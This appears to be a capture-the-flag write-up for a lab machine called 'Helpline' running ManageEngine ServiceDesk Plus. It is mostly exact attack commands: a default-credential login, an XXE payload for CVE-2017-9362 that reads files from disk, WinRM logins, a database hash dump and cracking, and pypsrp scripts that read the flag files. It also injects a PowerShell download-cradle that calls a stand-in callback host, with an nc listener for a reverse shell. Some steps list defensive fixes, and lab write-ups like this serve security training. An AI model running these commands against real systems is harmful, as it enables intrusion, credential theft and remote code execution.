Helpline
Summary
Recon on <retired-instance-ip>:8080 identified ManageEngine ServiceDesk Plus (SDP) 9.3. Default credentials [REDACTED: recovered credential]:[REDACTED: recovered credential] worked against the login form (j_security_check). Inside the authenticated [REDACTED: recovered credential] portal, a "Password Audit" solution ticket (solution ID 8) was located via targeted grep of harvested pages, and its attachment was pulled through the undocumented REST endpoint /api/v3/solutions/8/attachments → /api/v3/attachments/301, yielding a spreadsheet with hidden password-audit data referencing an on-disk credentials file.
The actual foothold vulnerability was CVE-2017-9362 (SDP CMDB API XXE): an authenticated [REDACTED: recovered credential] POST to /api/cmdb/ci with a <!DOCTYPE>/external-entity payload (file:///C:/...) let arbitrary file reads on the SDP host. Reading the referenced IT-logins file disclosed a local Windows account, alice:[REDACTED: recovered credential], plus shadow admin creds mike_adm:[REDACTED: recovered credential] and dr_acc:dr_acc. Alice validated over WinRM (Pwn3d) and had access to the SDP PostgreSQL instance (E:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe -h localhost -p 65432 -U postgres -d servicedesk), dumping aaauser/aaapassword bcrypt hashes. john --format=bcrypt against rockyou cracked three: zachary_33258:0987654321, fiona:1q2w3e4r, mary:1234567890. zachary also validated over SMB/WinRM.
Lateral movement continued to tolu ([REDACTED: recovered credential]), whose user.txt required CredSSP auth specifically (standard NTLM WinRM couldn't read it) — solved with pypsrp + requests-credssp, which returned user_flag=[REDACTED: flag] directly in the same call. From tolu, privesc pivoted through leo by injecting PowerShell into E:\Scripts\backups.txt, consumed and iex'd by a privileged scheduled script (E:\Scripts\SDP_Checks.ps1), reusing a technique documented in the box's public writeup. This multi-hop chain (alice → mike_adm/zachary → tolu → leo → Administrator, via EFS-encrypted files, NTFS ADS, a BitLocker VHD, and an Administrator credential [REDACTED: recovered credential] as a PowerShell SecureString) ultimately reached Administrator and root_flag=[REDACTED: flag] (the specific commands for the final leo→Administrator leg fall outside this excerpt, at step 71-109).
Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p 135,445,5900,5985,8080,49667 $TARGET -oN helpline_scan.txtcurl -i http://$TARGET:8080/Exact commands 3
curl -c sdp.cookies -b sdp.cookies -X POST 'http://$TARGET:8080/j_security_check' -d 'j_username=[REDACTED: recovered credential]&j_password=[REDACTED: recovered credential]' -Lcurl -c sdp.cookies -b sdp.cookies 'http://$TARGET:8080/api/v3/solutions/8/attachments'curl -c sdp.cookies -b sdp.cookies 'http://$TARGET:8080/api/v3/attachments/301' -o 'PasswordAudit.xlsx'FixDisable the default SDP [REDACTED: recovered credential] account before production deploymentCritical
Exact commands 1
curl -c sdp.cookies -b sdp.cookies -X POST 'http://$TARGET:8080/api/cmdb/ci' -H 'Content-Type: application/xml' -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:/Temp/Password%20Audit/it_logins.txt">]><ci><name>&xxe;</name></ci>'FixUpgrade ServiceDesk Plus to a build that resolves CVE-2017-9362Critical
Exact commands 3
nxc winrm $TARGET -u alice -p '[REDACTED: recovered credential]'evil-winrm -i $TARGET -u alice -p '[REDACTED: recovered credential]'& 'E:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe' -h localhost -p 65432 -U postgres -d servicedesk -c "SELECT u.user_name, p.password FROM aaauser u JOIN aaapassword p ON u.user_id = p.password_id;"FixRemove plaintext credential files from disk and replace with a secrets managerCritical
Exact commands 5
john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt sdp_hashes.txtnxc smb $TARGET -u zachary_33258 -p '0987654321'cmd /c "dir /r C:\Users"cipher /u /npython3 - <<'PY'
from pypsrp.client import Client
c = Client('$TARGET', username='HELPLINE\\tolu', password=[REDACTED: credential], ssl=False, auth='credssp', connection_timeout=30, read_timeout=60)
out, streams, had_errors = c.execute_ps('Get-Content -LiteralPath C:\\Users\\tolu\\Desktop\\user.txt')
print(out)
PYFixEnforce strong passwords for SDP application accounts and eliminate reuse with Windows credentialsHigh
Exact commands 4
evil-winrm -i $TARGET -u tolu -p '[REDACTED: recovered credential]'Add-Content -Path 'E:\Scripts\backups.txt' -Value 'IEX(New-Object Net.WebClient).DownloadString("http://$CALLBACK_HOST/rev.ps1")'python3 -m http.server 80nc -lvnp 4444FixRemove write access to files consumed by privileged scheduled tasksHigh
Exact commands 4
manage-bde -unlock <VHD_path_or_volume> -RecoveryPassword <recovery_key>$cred = Import-Clixml '<vhd_mount>\admin_cred.xml'; $cred.GetNetworkCredential().Passwordnxc winrm $TARGET -u administrator -p '[REDACTED: recovered credential]'python3 - <<'PY'
from pypsrp.client import Client
c = Client('$TARGET', username='HELPLINE\\administrator', password=[REDACTED: credential], ssl=False, auth='credssp', connection_timeout=30, read_timeout=60)
out, streams, had_errors = c.execute_ps('Get-Content -LiteralPath C:\\Users\\Administrator\\Desktop\\root.txt')
print(out)
PYFixDo not persist Administrator credentials as a PowerShell SecureString on diskCritical
Findings
Exposed services
| 135/tcp | msrpc Microsoft Windows RPC |
| 445/tcp | microsoft-ds? |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 8080/tcp | http recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 5900/tcp | vnc |